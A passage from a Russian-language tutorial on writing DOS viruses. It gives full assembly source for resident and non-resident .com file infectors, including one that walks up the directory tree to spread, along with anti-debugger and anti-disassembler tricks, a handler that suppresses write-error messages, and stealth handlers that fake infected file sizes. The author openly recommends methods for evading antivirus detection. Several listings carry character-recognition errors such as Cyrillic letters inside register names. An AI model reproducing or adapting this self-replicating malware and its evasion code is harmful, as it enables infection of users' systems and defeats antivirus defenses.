        cmp     ah,4bh                  ; Какая-то программа запущена
        je      infect                  ; да, заразим ее
exit:
        pop     ds                      ; восстановим ds из стека
        popa                            ; восстановим все регистры из стека
        db      0eah                    ; передадим управление оригинальному
                                        ; обработчику
oi21    dd      ?                       ; Оригинальный обработчик хранится здесь    

rezchk: mov     bh,099h                 ; Ответим на вопрос присутствия в памяти
        jmp     exit                    ; и передадим управление оригинальному
                                        ; обработчику
infect: call    tsrdel                  ;
tsrdel: pop     bp                      ; Получаем новое
        sub     bp,offset tsrdel        ; дельта-смещение
       
        mov     ax,3d02h                ; откроем запущенный файл в режиме
        int     21h                     ; чтение/запись
        xchg    bx,ax                   ; положим хэндл файла в bx
       
        push    cs cs                   ; настраиваем ds и es через стек, чтобы
        pop     ds es                   ; они указывали на cs

        mov     ah,3fh                  ; Читаем из файла
        lea     dx,[bp+saved]           ; в переменную saved
        mov     cx,3                    ; первых 3 байта
        int     21h                     ;
       
        cmp     word ptr [bp+saved],'ZM'; Проверяем, а не *.ехе ли это
        je      close                   ; да, это *.ехе, закрываем файл
        cmp     word ptr [bp+saved],'MZ';
        je      close                   ;
       
        mov     ax,4202h                ; Переходим в конец файла
        xor     cx,cx                   ; Обнуляем сх
        cwd                             ; Обнуляем dx
        int     21h                     ; Теперь в ах хранится размер запущенного
                                        ; файла
        mov     cx,word ptr [bp+saved+1]; Положим 2 и 3 байты из заголовка в сх
        add     cx, finished-start+3    ; добавим размер вируса и длину прочитанных
                                        ; байтов (3)
        cmp     ax,cx                   ; Если ах=сх, то файл уже инфицирован
        jz      close                   ; Закроем его

        sub     ax,3                    ; Отнимем от ах - 3 длину самого jmp
        mov     word ptr [bp+newjump+1],ax ; и запишем длину перехода в переменную
                                        ; newjump
        mov     ax,4200h                ; Перейдем в начало файла
        xor     cx,cx                   ; Обнулим сх
        cwd                             ; Обнулим dx
        int     21h                     ;
       
        mov     ah,40h                  ; Запишем в начало программы

        lea     dx,[bp+newjump]         ; jmp на тело вируса
        mov     cx, 3                   ; это 3 байта
        int     21h                     ;

        mov     ax,4202h                ; Переходим в конец файла
        xor     cx, cx                  ; Обнуляем сх
        cwd                             ; Обнуляем dx
        int     21h

        mov     ah,40h                  ; Дописываем тело вируса
        lea     dx,[bp+start]           ; от начала
        mov     cx,finished-start       ; и до конца
        int     21h
close:
        mov     ah,3eh                  ; Закрываем файл
        int     21h                     ;

abort:  jmp     exit                    ; Возвращаем управление оригинальному
                                        ; обработчику
saved   db      0cdh,20h,0              ; сохраненные байты
newjump db      0e9h,0,0                ; Здесь будет jmp + смещение
finisned:                               ; Все, конец вируса
        code    ends
        end     blank
; ---------------------------------------------
 

В данном вирусе стоит особо остановиться на двух моментах.

  1. Рассмотрим посадку в память:
            sub     word ptr cs:[2],80h     ; Значит, нас в памяти нет, тогда садимся
            mov     ax, cs                  ; Устанавливаем ах, чтобы указывал на cs
            dec     ax                      ; Уменьшим ах на 1, теперь он указывает на
            mov     ds, ax                  ; MCB, положим в ds - ах
            sub     word ptr ds:[3],80h     ; отгрызем себе памяти 2 кб
            xor     ax, ax                  ; положим в ах - 0
            mov     ds, ax                  ; поместим 0 в ds
            sub     word ptr ds:[413h],2    ; добавочные BIOS данные 2 кб
            mov     ax,word ptr ds:[413h]   ; поместим их в ах
            mov     cl,6                    ; положим в cl - 6
            shl     ax, cl                  ; Умножим доступную память на 64
            mov     es, ax                  ; результат в es
            push    cs                      ; настроим через стек
            pop     ds                      ; ds на cs
            xor     di, di                  ; обнулим di
            lea     si,[bp+start]           ; откуда начинаем посадку в память
            mov     cx,finished-start       ; кол-во байт для посадки в память (весь вирус)
            rep     movsb                   ; Садимся в память
     

    Она отличается тем, что несколько сложнее реализуется, но я бы рекомендовал использовать именно ее, так как при ее использовании появляется возможность написания резидентных паразитов. Также уменьшается вероятность обнаружения антивирусными программами, так как не используются «подозрительные» DOS-функции.

  2. Прямой перехват 21 прерывания (подмена обработчика):
            xor     ax, ax                  ; Обнулим ах
            mov     ds, ax                  ; Положим ах в ds
            lea     ax,new21                ; Делаем так, чтобы ах указывал на новый
                                            ; обработчик 21 прерывания
            sub     ax,offset start         ; отнимем смещение от начала (start)    
            mov     bx, es                  ; положим экстрасегмент в bx
            cli                             ; выключаем прерывания

            xchg    ах,word ptr ds:[84h]  ; переключаемся на новый обработчик
            xchg    bx,word ptr ds:[86h]    ;
            mov     word ptr es:[oi21-offset start],ax      ; и сохраняем старый
            mov     word ptr es:[oi21+2-offset start],bx    ;
            sti                             ; включаем прерывания
     

    Преимущества в этом методе те же, что и с посадкой в память, а именно:

    • маскировка;
    • удобство реализации паразитов.

В общем, описанный выше вирус является простейшим резидентным *.com паразитом. При проверке его AVP он вирусом назван не был, а идентифицировался как «подозрение на вирус типа TypeCOM_TSR». А самый простой резидентный вирус вообще никак не идентифицировался.

Лечение данных вирусов никак не отличается от их *.com и *.exe нерезидентных братьев. Разве что перед лечением необходимо загрузиться с чистой DOS-дискеты.

Глава 5. Вирусные технологии

Теперь поговорим о том, как вирусы прячутся от людей и антивирусных программ.

Самые первые маскировочные приемы — это усиление кода и перехват сообщений об ошибке записи. Позже появился так называемый «не полный стелс-механизм», т. е. когда либо пользователь, либо программа обращалась к зараженному файлу, а резидентный вирус (который постоянно находится в памяти как бы в спящем состоянии) просыпался и изменял информацию о размере файла на старый размер файла, как будто вирусного тела там и не было. Но если заглянуть внутрь файла, то вирусное тело, как и положено, будет на месте, что и позволяет его удалить.

Позже появились вирусы, основанные на так называемой технологии «полный стеле». Данная технология заключалась в том, что вирус, как и в предыдущем случае, будучи резидентным отлавливал DOS-функции чтения или изменения файла и перед тем как передать управление DOS'y, он вначале удалял вирусное тело. Когда пользователь или антивирусная программа просматривали файл, то вируса там уже не было, а перед закрытием та часть вируса, что была в памяти, опять заражала этот файл. Поэтому было очень сложно обнаружить вирусы с данной технологией маскировки.

Сейчас довольно распространены вирусы, которые в большинстве случаев для маскировки используют антиэвристические механизмы и «мутационные» технологии.

5.1. Ускорение эпидемии и простейшая маскировка

Написание обыкновенного нерезидентного вируса сопряжено с рядом проблем. Например, замечательный вирус поселился на каком-нибудь компьютере и заразил всю директорию в которой он находился. А что если ни один зараженный файл из этой директории не будет скопирован в другие директории? Так вирус может томиться в ожидании долгие месяцы или даже годы, а если сн и был перемещен с зараженным файлом в другую директорию, то дальше инфицирования этой директории дело не двинется. Так что же в этой ситуации делать? Необходимо использовать такой прием для ускорения эпидемии. В чем же заключается его сущность? Все довольно просто: вирус должен обойти директории и все встреченные подходящие файлы заразить. Необходимо модифицировать наш *.com паразит таким образом, чтобы он всего лишь менял директории.

Существует множество способов обхода директорий, но каждый разработчик вирусов использует свой любимый. Мы рассмотрим самый расспространенный. Это так называемый «dot dot»8 обход, его сущность заключается в том, что запоминается текущая директория, а затем из нее идет смена директорий методом подъема на высшую директорию, аналогично команде DOS «cd ..». Koгда корневой каталог достигнут, происходит возвращение в каталог, из которого вирус стартовал.

Теперь рассмотрим в качестве примера сохранение текущей директории в переменную «curr_dir»:

        mov     ah,47h
        xor     dl,dl
        lea     si,[bp+curr_dir]
        int     21h
 

Здесь все довольно тривиально и объяснять особо нечего.

Теперь посмотрим, как сменить директорию на более высокую:

        mov     ah,3bh
        lea     dx,[bp+dot_dot]
        int     21h
 

Здесь тоже все довольно просто, но стоит заметить, что для относительной адресации обращаемся к данным с использованием индексного регистра bp.

Все попытки ускорения эпидемии могут оказаться бесполезными, если на найденных вирусом файлах стоит атрибут «только чтение». Его необходимо вначале сохранить, впрочем, как и остальные атрибуты, а затем снять, после чего заразить файл вирусом, а в конце перед передачей управления оригинальной программе восстановить все атрибуты.

Рассмотрим на примере сохранение и снятие атрибутов:

        mov     ax,4300h                ; DOS-функция получения атрибутов
        lea     dx,[bp+new_dta+30]      ; файла с именем, хранящимся по адресу
        int     21h                     ; new_dta+30
        push    cx                      ; Непосредственно сохранение атрибутов файла в стеке
        inc     al                      ; Теперь эта функция преобразуется в функцию
        xor     cx,cx                   ; изменения атрибутов; с сх=0 это полное их снятие
        int     21h
 

Теперь посмотрим, как восстанавливаются атрибуты файла:

        mov     ax,4301h                ;
        pop     сх                    ; Вот собственно само восстановление атрибутов файла
        lea     dx,[bp+new_dta+30]      ;
        int     21h                     ;
 

Все здесь используемые функции были описаны в таблице (см. гл. 3).

Если пользователь заметит, что файл, который у него уже три года лежит нетронутым, вдруг изменил дату последнего изменения на сегодняшнее число, он ничего не заподозрит?

Из этих рассуждений следует: необходимо, чтобы дата после заражения осталась неизменной. Что для этого нужно? Сначала необходимо сохранить дату последнего изменения файла, затем его инфицировать и после этого восстановить старую дату.

Рассмотрим листинг:

        mov     ах,5700h      ; DOS функция получения времени изменения файла
        int     21h             ;
        push    cx dx           ; Собственно само сохранение даты и времени файла
 

А теперь после инфицирования восстановим старую дату и время:

mov ах,5701h ; DOS-функция изменения даты и времени файла
        pop     dx cx           ; восстановление старой даты и времени
        int     21h
 

Здесь необходимо отметить, что во время описания *.com и *.exe паразита были намеренно упущены некоторые детали. В *.com паразите необходимо, чтобы размер вируса + размер файла был не более 65535 байт (размер одного сегмента)9. Рассмотрим, как нужно модифицировать проверку на инфицированность, чобы она также проверяла и размер?

Взглянем на листинг:

        mov     ah,3fh                  ; Читаем из файла
        lea     dx,[bp+orig_bytes]      ; Сохраняем оригинальный заголовок
        mov     cx,3                    ; Читаем 3 файла
        int     21h                     ;
        mov     ax,word ptr [bp+new_dta+26]     ; Положим размер файла в ах
        mov     cx,word ptr [bp+orig_bytes+1]   ; Jmp смещение
        add     cx,end_vir-st_vir+3     ; Преобразуем в размер файла без заголовка
        push    ax                      ; Положить ах в стек
        add     ax,end_vir-st_vir       ; Добавим к размеру файла размер вируса
        cmp     ax,65535                ; Проверим, не больше ли это 1 сегмента
        jnl     no_infect               ; Если больше, то не заражаем
        pop     ax                      ; Восстановим ах из стека
        cmp     ax, cx                  ; Сравним размеры
        jnz     infect                  ; Если файл не заражен, то заразим
no_infect:
 

В *.exe паразите необходимо проверять, чтобы при инфицировании наш вирус не трогал также оверлейные модули (*.exe модули, которые загружают в память не всю программу целиком, а только одну ее часть, и в процессе исполнения подгружаются остальные части с жесткого диска). И как же это реализовать? Необходимо, чтобы длина из заголовка *.exe файла совпадала с реальной длиной этого файла.

Взглянем на листинг:

        mov     ах,word ptr [bp+newDTA+26]    ; Это реальная длина файла

        mov     bl,byte ptr [bp+buffer+02]      ; В bx будет храниться длина файла
        mov     bh,byte ptr [bp+buffer+04]      ; из заголовка (buffer)

        cmp     ax,bx                           ; Проверяем соответствие

        je      infect_exe                      ; Если это не оверлей, то заражаем его
 

Еще один вариант проверки на оверлейность *.exe файла:

        cmp     word ptr [bp+buffer+26],0
        je      infect_exe
 

Также при инфицировании DOS *.exe файлов их следует проверять, чтобы они не оказались Windows формата.

Вот листинг такой проверки:

        cmp     word ptr [bp+buffer+24],40h
        jne     infect_exe
 

Ну вот, это довольно простой и удобный способ.

Теперь все описанные выше приемы применим в деле на *.com паразите для наглядности. Но вы, наверное, уже поняли, что их использовать можно где угодно.

А теперь к листингу вируса:

;----------------------------------------------
.model tiny
.code
org 100h
start:          db      0e9h, 00h, 00h          ;
st_vir:         call    $+3
f_offset:       pop     bp                      ;
                int     1h
                sub     bp, OFFSET f_offset     ;
                                                ;
                                                ;

                lea     si,[bp+orig_bytes]      ;
                mov     di,100h                 ;
                push    di                      ;
                movsw
                movsb

                lea     dx,[bp+new_dta]         ;
                mov     ah,1ah
                int     21h

                mov     ah,47h                  ;
                xor     dl,dl                   ; Сохранение текущей директории
                lea     si,[bp+curr_dir]        ;
                int     21h                     ;

f2:
                mov     ah,4eh                  ;

                lea     dx,[bp+file_m]          ;
                xor     cx,cx                   ;
f_next:         int     21h                     ;
                jnc     nexta                   ;
                jmp     next_dir
nexta:
                mov     ax,4300h                ; Получение и сохранение атрибутов файла
                lea     dx,[bp+new_dta+30]      ;
                int     21h                     ;
 
                push    cx                      ;

                inc     al                      ; Снятие всех атрибутов перед
                xor     cx,cx                   ; инфицированием
                int     21h                     ;

                mov     ax,3d02h                ;
                lea     dx,[bp+new_dta+30]      ;
                int     21h                     ;
                xchg    ax,bx                   ;

                mov     ax,5700h                ; Сохранение даты и времени файла
                int     21h                     ;
                push    cx dx                   ;

                mov     ah,3fh                  ; Читаем из файла
                lea     dx,[bp+orig_bytes]      ; Сохраняем оригинальный заголовок
                mov     cx,3                    ; Читаем три файла
                int     21h                     ;
                mov     ax,word ptr [bp+new_dta+26]     ; Положим размер файла в ах
                mov     cx,word ptr [bp+orig_bytes+1]   ; Jmp смещение
                add     cx,end_vir-st_vir+3     ; Преобразуем в размер файла без заголовка
                push    ax                      ; Положить ах в стек
                add     ax,end_vir-st_vir       ; Добавим к размеру файла размер вируса
                cmp     ax,65535                ; Проверим, не больше ли это 1 сегмента
                jnl     no_infect               ; Если больше, то не заражаем
                pop     ax                      ; восстановим ах из стека
                cmp     ax,cx                   ; Сравним размеры
                jnz     infect                  ; Если файл не заражен, то заразим
no_infect:
                mov     ax,5701h                ; Восстановление времени и даты
                pop     dx cx                   ;
                int     21h                     ;

                mov     ah,3eh                  ;
                int     21h                     ;

                mov     ax,4301h                ;
                pop     cx                      ; Восстановление настоящих атрибутов
                lea     dx,[bp+new_dta+30]      ;
                int     21h                     ;

                mov     ah,4fh                  ;
                jmp     short f_next            ;
exit:
                mov     ah,3bh                  ; Переход в оригинальную директорию
                lea     dx,[bp+ret_dir]         ;
                int     21h                     ;

                mov     dx,80h                  ;
                mov     ah,1ah
                int     21h
                retn                            ;
infect:
                mov     ах,word ptr [bp+new_dta+26]
                sub     ах,З

                mov     word ptr [bp+jmp_offset],ax

                mov     ax,4200h
                cwd
                xor     cx,cx
                int     21h

                mov     ah,40h                  ;
                int     1h
                mov     cx,3                    ;
                lea     dx,[bp+header]          ;
                int     21h                     ;

                mov     ax,4202h
                xor     cx,cx
                cwd
                int     21h

                mov     ah,40h                  ;
                int     1h
                mov     cx,end_vir-st_vir       ;
                lea     dx,[bp+st_vir]          ;
                int     21h                     ;

                mov     ax,5701h                ;
                pop     dx cx                   ; Восстановление оригинальных даты и времени
                int     21h                     ;

                mov     ah,3eh                  ;
                int     21h                     ;

                pop     cx                      ; Восстановление оригинальных атрибутов
                mov     ax,4301h                ;
                lea     dx,[bp+new_dta+30]      ;
                int     21h                     ;
next_dir:
                mov     ah,3bh                  ; Переход на более высокую директорию
                lea     dx,[bp+dot_dot]         ;
                int     21h                     ;

                jc      exit
                jmp     f2

file_m          db      '*.com',0               ;
orig_bytes      db      0cdh,20h,0              ;
dot_dot         db      '..',0                  ; Директория, куда будет осуществляться
                                                ; переход
header          db      0e9h                    ;
jmp_offset      dw      0                       ;
ret_dir         db      '\'                     ; Этот символ необходим для возврата в
                                                ; оригинальную директорию
end_vir         equ     $
curr_dir        db      64 dup(?)               ; Место под имя оригинальной директории
new_dta         db      43 dup(?)               ;

end start
;----------------------------------------------
 

Весь вирус был разобран ранее, поэтому комментировались только новые моменты. Это было сделано, чтобы вы посмотрели и сами разобрались в немного усложнившейся логике вируса.

Лечение усложненных вирусов ничем не усложнилось, так как метод инфицирования не изменился.

5.2. Усиление кода

Усиление кода является одним из первых защитных механизмов, до которого додумались разработчики вирусов. Что же это такое? Проще говоря, это последовательности инструкций, при выполнении которых отладчики и дизассемблеры работают с ошибками или вообще не работают. Итак, усиление кода — это инструкции, ориентированные на обман либо отладчика, либо дизассемблера.

Начнем с обмана отладчиков.

Одним из самых старых способов обмана отладчиков является вставить везде и побольше 1 и 3 прерываний (int 1h и int 3h): при выполнении программы под отладчиком она будет каждый раз прерываться при попадании на эти инструкции. Второй способ сродни первому — нужно аналогичным образом поставить команды hit. Эти два способа хоть и старые, но до сих пор действенные.

Третий способ — это работа со стеком: отладчик либо виснет, либо умирает при попытке исполнить такие команды10:

debugger_die:
                not sp
                not sp
 

Достаточно вставить этот кусочек кода в начало программы, и практически все отладчики при попытке исполнить его погибнут. Также можно использовать другие инструкции по работе со стеком (dec sp...). Это тоже даст нужный эффект.

Возможна подмена обработчиков 1 и 3 прерываний на обработчик-пустьшку. Рассмотрим этот способ на примере программы, которая при нормальной работе выводит одно сообщение, а при отладке другое.

Рассмотрим листинг:

;----------------------------------------------
cseg    segment
        org 100h
        assume cs:cseg,ds:cseg.es;cseg
start:
        mov     ax, 2503h               ;
        mov     dx, offset int_start    ; Ставим новый обработчик на 3 прерывание
        int     21h                     ;
 
        mov     dx,OFFSET normal        ;
        mov     ah,09h                  ; Вывод сообщения при нормальной работе
        int     21h                     ; программы

        int     20h                     ; Завершение работы программы

int_start:                              ; Это наш обработчик 3 прерывания
        mov     ah, 9                   ;
        mov     dx, offset debug        ; Выскажем нашу любовь отладчику и завершим
        int     21h                     ; работу
        int     20h                     ;

slOn    db      "Hello People$"
debug   db      "Fuck you debugger$"
cseg    ends
        end     start
;----------------------------------------------
 

Третье прерывание — это прерывание отладчика. Как только начнется трассировка программы. Уже после подмены обработчика будет выведено наше сообщение, и работа программы будет прекращена. И это будет причиной того, что наш вирус не смогут отладить. Вообще говоря, следовало бы сохранить адрес 3-го прерывания и в конце программы восстановить оригинальный обработчик.

Еще один старый, но очень действенный способ — это выключать клавиатуру. Взглянем на листинг:

        mov     al,0adh                 ; После этих инструкций кнопки не работают
        out     64h,al                  ;
 

Существует еще множество других способов обмануть отладчик, и я вам советую придумывать свои.

Теперь мы знаем, как обмануть отладчик, но от этих наших умений не будет пользы, если кто-нибудь дизассемблирует наш вирус. И как бы мы ни изощрялись с обманом отладчиков, следует также помнить о дизассемблере.

Сейчас мы рассмотрим способы обмана дизассемблера. Основным методом обмана дизассемблеров является перекрывающийся код.

Для лучшего понимания будем рассматривать все на примерах:

cseg    segment
        org 100h
        assume cs:cseg,ds:cseg,es:cseg
start:
;---[anti disasm trick, work on sourcer 7.0]---
        mov     ax,02ebh        ; !!!!!!!
        jmp     $-2             ; !!!!!!!
;----------------------------------------------
        mov     ax,0900h
        lea     dx,hello
        int     21h

        int     20h
hello   db      'hello$'
cseg    ends
        end     start
;----------------------------------------------
 

Что же делает выделенная восклицательными знаками часть кода?

  1. В ах помещается значение 02ebh (это опкод комманды jmp $+2).
  2. jmp $-2, переходит на значение 02ebh.
  3. jmp $+2, переходит на mov ax,0900h.

Таким образом, можно строить сколь угодно сложный перекрывающийся код. Еще в перекрывающемся коде есть один большой плюс — с его помощью можно прятать неприятные для антивирусов инструкции.

Также методом защиты от дизассемблера является полное шифрование кода или данных.

Теперь, когда мы умеем прятаться от отладчика и дизассемблера, применим эти навыки на *.com паразите.

Перейдем к листингу:

;----------------------------------------------
.model tiny
.code
org 100h
start:          db      0e9h,00h,00h            ; Переход на начало вируса (st_vir)
st_vir:         call    $+3
f_offset:       pop     bp
                int     1h                      ; Антиэвристика

                mov     ax,02ebh                ; Смерть дизассемблеру
                jmp     $-2                     ; IDA и Sourcer капитулировали
               
                sub     bp, OFFSET f_offset     ; Считаем смещение,
                                                ; с которого начинается вирусный код
                not     sp                      ; Прощаемся с отладчиками
                not     sp                      ;

                lea     si,[bp+orig_bytes]      ; Восстанавливаем оригинальные 3 байта
                mov     di,100h                 ; Положим в стек переход на
                push    di                      ; начало программы
                movsw
                movsb

                lea     dx,[bp+new_dta]         ; Установим DTA
                mov     ah,1ah
                int     21h

                mov     ah,09h                  ; Выведем сообщение
                lea     dx,[bp+msg]             ;
                int     21h

                mov     ah,4eh                  ; DOS функция findfirst

                lea     dx,[bp+file_m]          ; Ищем *.com файл (любой)
                xor     cx,cx                   ;
 
f_next:         int     21h                     ;
                jc      exit                    ; если ошибка или файлы закончились,
                                                ; то на выход
                mov     ax,3d00h                ; Откроем найденный файл на чтение
                lea     dx,[bp+new_dta+30]      ;
                int     21h                     ;
                xchg    ax,bx                   ; Положим хэндл в bx

                mov     ah,3fh                  ; Прочитаем из файла
                lea     dx,[bp+orig_bytes]      ; оригинальный заголовок,
                mov     cx,3                    ; а если быть более точным, то 3 байта
                int     21h                     ;

                cmp     word ptr[bp+orig_bytes],'MZ'    ; Если это *.exe переименованный
                je      close                           ; в *.com, то переходим к следующему
                cmp     word ptr[bp+orig_bytes],'ZM'    ; файлу
                je      close                           ;

                mov     ах,word ptr [bp+new_dta+26]   ; Положим размер файла в ах
                mov     cx,word ptr [bp+orig_bytes+1]   ;
                add     cx,end_vir-st_vir+3     ; Добавим размер вируса
                cmp     ax,cx                   ; Если длины совпадают, то файл
                jnz     infect                  ; заражен. Если нет, сейчас заразим
close:          mov     ah,3eh                  ; Закрываем файл
                int     21h                     ;
                mov     ah,4fh                  ; и ищем новый
                jmp     short f_next            ;

exit:           mov     dx,80h                  ; Восстанавливаем старый DTA
                mov     ah,1ah
                int     21h
                retn                            ; Переходим на начало программы
                                                ; 100h было ведь в стеке
infect:
                mov     ах,word ptr [bp+new_dta+26]   ; Положим размер файла в ах
                sub     ах,3                          ; Отнимем 3 и получим смещение для
                mov     word ptr [bp+jmp_offset],ax     ; перехода на тело вируса

                mov     ah,3eh                  ;
                int     21h                     ; Закроем файл

                mov     ax,3d02h                ; Откроем на чтение/запись
                int     21h                     ;
                xchg    ax,bx                   ; Положим хэндл в bx

                mov     ah,40h                  ; Запишем в файл
                int     1h                      ; Антиэвристика
                mov     cx,3                    ; 3 байта
                lea     dx,[bp+header]          ; Это переход на тело вируса, которое
                int     21h                     ; будет дописано к файлу

                mov     ax,4202h                ; Перейдем на конец файла
                xor     cx,cx
                xor     dx,dx
                int     21h
 
                mov     ah,40h                  ; Допишем тело вируса
                int     1h                      ; Антиэвристика
                mov     cx,end_vir-st_vir       ;
                lea     dx,[bp+st_vir]          ;
                int     21h                     ;

                mov     ah,3eh                  ; Закроем файл
                int     21h                     ;
                jmp     exit                    ; и передадим управление оригинальной
                                                ; программе
msg             db      "[Par4s1tic ChuM4 v 1.0 by sl0n],0ah,0dh","$" ; Сообщение
file_m          db      '*.com',0               ; маска файла для поиска
orig_bytes      db      0cdh,20h,0              ; байты оригинального заголовка
header          db      0e9h                    ; переход на вирус
end_vir         equ     $                       ; символ конца вируса
jmp_offset      dw      ?                       ; переменная для смещения на вирус
new_dta         db      43 dup(?)               ; массив для DTA
end start
;----------------------------------------------
 

Ну вот, после таких модификаций нашего вируса его будет не так уж просто найти и вылечить.

При лечении данного файла усложняется анализ вируса и поиск оригинальных байт. А сам принцип лечения не меняется.

5.3. Стелс-механизмы

Начнем рассмотрение вирусных стелс-механизмов. Самым первым вирусным стелс-механизмом был перехват 24 прерывания и подмена его обработчика вирусным. Это было необходмо, потому как, если вирус хотел заразить файл на защищенной от записи дискете, выдавалось сообщение об ошибке. Ни один хороший вирус был пойман на этой ошибке, и чтобы вирусы не повторили их судьбу, необходимо, как уже говорилось выше, ставить свой обработчик на 24 прерывание. При попытке записи на защищенную дискету DOS покорно промолчит.

Принцип перехвата прерывания остается таким же, как и в части о резидентных вирусах, но здесь обработчик будет очень простой.

Рассмотрим листинг перехвата 24 прерывания:

        mov     ах,3524h
        int     21h
        mov     word ptr [oldint24], bx
        mov     word ptr [oldint24+2],es

        mov     ah,25h
        lea     dx,[bp+int24]
        int     21h

        push    cs
        pop     es
 

Все довольно тривиально и было обсуждено в разделе о резидентных вирусах.

Теперь рассмотрим сам вирусный обработчик 24 прерывания:

int24:
        mov     al,3
        iret
 

Ну, а здесь вообще две команды, предназначенные для главной цели — погашения сообщения об ошибке записи. И нужно не забыть перед передачей управления оригинальной программе восстановить оригинальный обработчик 24 прерывания:

        mov     ах,2524h
        lea     dx,[bp+oldint24]
        int     21h

        push    cs
        pop     ds
 

Данный маскировочный прием может использоваться как в резидентных, так и в обычных вирусах.

Следующим шагом в стелс-механизмах стал неполный стелс-механизм. Он может применяться только в резидентных вирусах и основан на том же принципе, что и инфицирование программ резидентными вирусами. То есть, находясь в памяти он отлавливает обращения DOSa к инфицированному файлу и подменяет настоящий размер на настоящий размер минус длина вируса. В итоге рост длины не заметен, но если взглянуть каким-нибудь редактором, то вирус будет виден.

Рассмотрим алгоритм работы неполного стелс механизма.

  1. Посадка в память вируса.
  2. Отлавливание прерываний 11h/12h, 4eh/4fh. Отлов 11h/l2h необходим для обмана DOS команды dir. Отлов 4eh/4fh необходим для обмана таких программ как NC.
  3. Если отловлено 11h/12h, то один вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.
  4. Если отловлено 4eh/4fh, то другой вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.

Рассмотрим подробно п. 2, 3 и 4 маскировочного механизма, так как п. 1 достаточно подробно изложен в части, посвященной резидентным вирусам.

И так рассмотрим второй шаг алгоритма. По сути, он очень прост и не отличается от вирусного обработчика 21 прерывания, занимающегося инфицированием файлов. Если быть более конкретным, то это всего лишь надстройка к нему.

Взглянем на листинг:

new_int21h:
        cmp     ah,99h          ; Проверка на присутствие в памяти
        jne     continue
        mov     bh,99h
        iret
continue:
        cmp     ah,4bh          ; Запускается программа или нет?
        jne     check_dir
        jmp     infect          ; Будем заражать
check_dir:
        cmp     ah,11h          ; Есть вызов dir?
        je      hide_dir        ; Тогда маскируемся
        cmp     ah,12h          ; Есть вызов dir?
        je      hide_dir        ; Тогда маскируемся
        cmp     ah,4eh          ; Или нас зовет NC?
        je      hide_dir2       ; Прячемся от NC.
        cmp     ah,4fh          ; Или нас зовет NC?
        je      hide_dir2       ; Прячемся от NC
        jmp     do_oldint21h    ; Вернем управление оригинальному обрабочику
 

Тут тоже все просто: если вы разобрались с резидентными вирусами, то все должны понимать, а если не разобрались, прочитайте еще раз.

Теперь третий шаг нашего алгоритма маскировки. В этой части мы должны обмануть DOS ровно на длину вирусного тела, чтобы при вызове DOS-команды «dir» выводилась поддельная длина, как будто этот файл и не заражен вовсе.

Рассмотрим листинг:

hide_dir:
        pushf                   ; Положим в стек флаги
        push    cs              ; и cs
        call    do_oldint21h    ; Теперь вызовем оригинальное 21
        or      al,al           ; Вызов был удачным?
        jnz     skip_dir        ; Нет, маскировка отменяется

        push    ax bx es        ; Сохраняем используемые регистры

        mov     ah,62h          ; Получим текущий PSP
        int     21h            
        mov     es,bx
        cmp     bx,es:[16h]     ; PSP в порядке?
        jnz     bad_psp         ; Если нет, то на выход

        mov     bx,dx
        mov     al,[bx]
        push    ax              ; расширенный FCB
        mov     ah,2fh          ; получим DTA
        int     21h
        pop     ax             
        inc     al              ; Это расширенный FCB?
        jnz     no_ext         

        add     bx,7            ; Если да, то добавим 7
no_ext:
        mov     al,byte ptr es:[bx+17h] ; Взглянем на наши секунды
        and     al,1fh
        xor     al,1dh          ; Файл заражен?
        jnz     no_stealth      ; Если нет, то размер не изменяем

        cmp     word ptr es: [bx+1dh],vir_size  ; Если размер меньше, чем размер вируса, то он не
        ja      hide_it                         ; мог быть заражен. Значит, не маскируем
        cmp     word ptr es:[bx+1fh],0          ;
        je      no_stealth                      ;
hide_it:
        sub     word ptr es:[bx+1dh],vir_size   ; Подменяем размер файла
        sbb     word ptr es:[bx+1fh],0
no_stealth:
bad_psp:
        pop     es bx ax        ; Восстанавливаем регистры
skip_dir:
        iret                    ; Возвращаем управление
 

Теперь рассмотрим четвертый шаг нашего стелс-механизма. По сути, прятаться от таких программ, как NC, даже проще, чем обманывать DOS.

Рассмотрим листинг:

hide_dir2:
        pushf                   ; Положим в стек флаги
        push    cs              ; и cs
        call    do_oldint21h    ; Теперь вызовем оригинальное 21 прерывание
        jc      eofs            ; Если файлов больше нет, то на выход

        push    ax es bx        ; Сохраним регистры
        mov     ah,2fh          ; Получим DTA
        int     21h

        mov     ax, es:[bx+16h]
        and     ax, 1fh         ; PSP в порядке?
        xor     al,29
        jnz     not_inf         ; Если нет, на выход

        cmp     word ptr es:[bx+1ah],vir_size   ; Файлы меньше длины вируса - не трогаем
        ja      sub_it
        cmp     word ptr es:[bx+1ch],0
        je      not_inf
sub_it:
        sub     word ptr es:[bx+1ah],vir_size   ; Исправляем длину файла
        sbb     word ptr es:[bx+lch],0
not_inf:
        pop     bx es ax        ; Восстанавливаем регистры
eofs:
        retf    2               ; Возвращаем управление
 

Дальше, после неполного стелс-механизма появился полный стелс-механизм. Как и неполный, он использовался только в резидентных вирусах. Смысл его работы примерно такой же, как и у его предшественника:

  1. при открытии файла вирус получает управление;
  2. проверяет, инфицирован он или нет;
  3. если инфицирован, то вылечивает его (правит заголовок и удаляет тело вируса);
  4. возвращает управление программе;
  5. при закрытии файла снова его заражает.

Данный механизм используется в совокупности с неполным стелс-механизмом. Этим достигается полная невидимость вируса по отношению к пользователю. Но при использовании полного стелсирования в вирусе находится алгоритм его лечения, что крайне нежелательно делать. Поэтому я рекомендую использовать два первых метода.

Но я считаю также, что стоит взглянуть на пример вирусного обработчика при полном стеле-механизме.

Рассмотрим листинг:

new_int21h:
        cmp     ah,99h          ; Проверка на присутствие в памяти
        jne     continue
        mov     bh,99h
        iret
continue:
        cmp     ah,4bh          ; Запускается программа или нет?
        jne     check_dir
        jmp     infect          ; Будем заражать
check_dir:
        cmp     ah,11h          ; Есть вызов dir?
        je      hide_dir        ; Тогда маскируемся
        cmp     ah,12h          ; Есть вызов dir?
        je      hide_dir        ; Тогда маскируемся
        cmp     ah,4eh          ; Или нас зовет NC?
        je      hide_dir2       ; Прячемся от NC
        cmp     ah,4fh          ; Или нас зовет NC?
        je      hide_dir2       ; Прячемся от NC

        cmp     ah,03dh         ; !!!!!!!!!!!!
        jne     next_test       ; !!!!!!!!!!!!
        jmp     full_stealth    ; !!!!!!!!!!!!
next_test:                      ; !!!!!!!!!!!!
        cmp     ah,03eh         ; !!!!!!!!!!!!
        jne     ending          ; !!!!!!!!!!!!
        jmp     infect_on_close ; !!!!!!!!!!!!
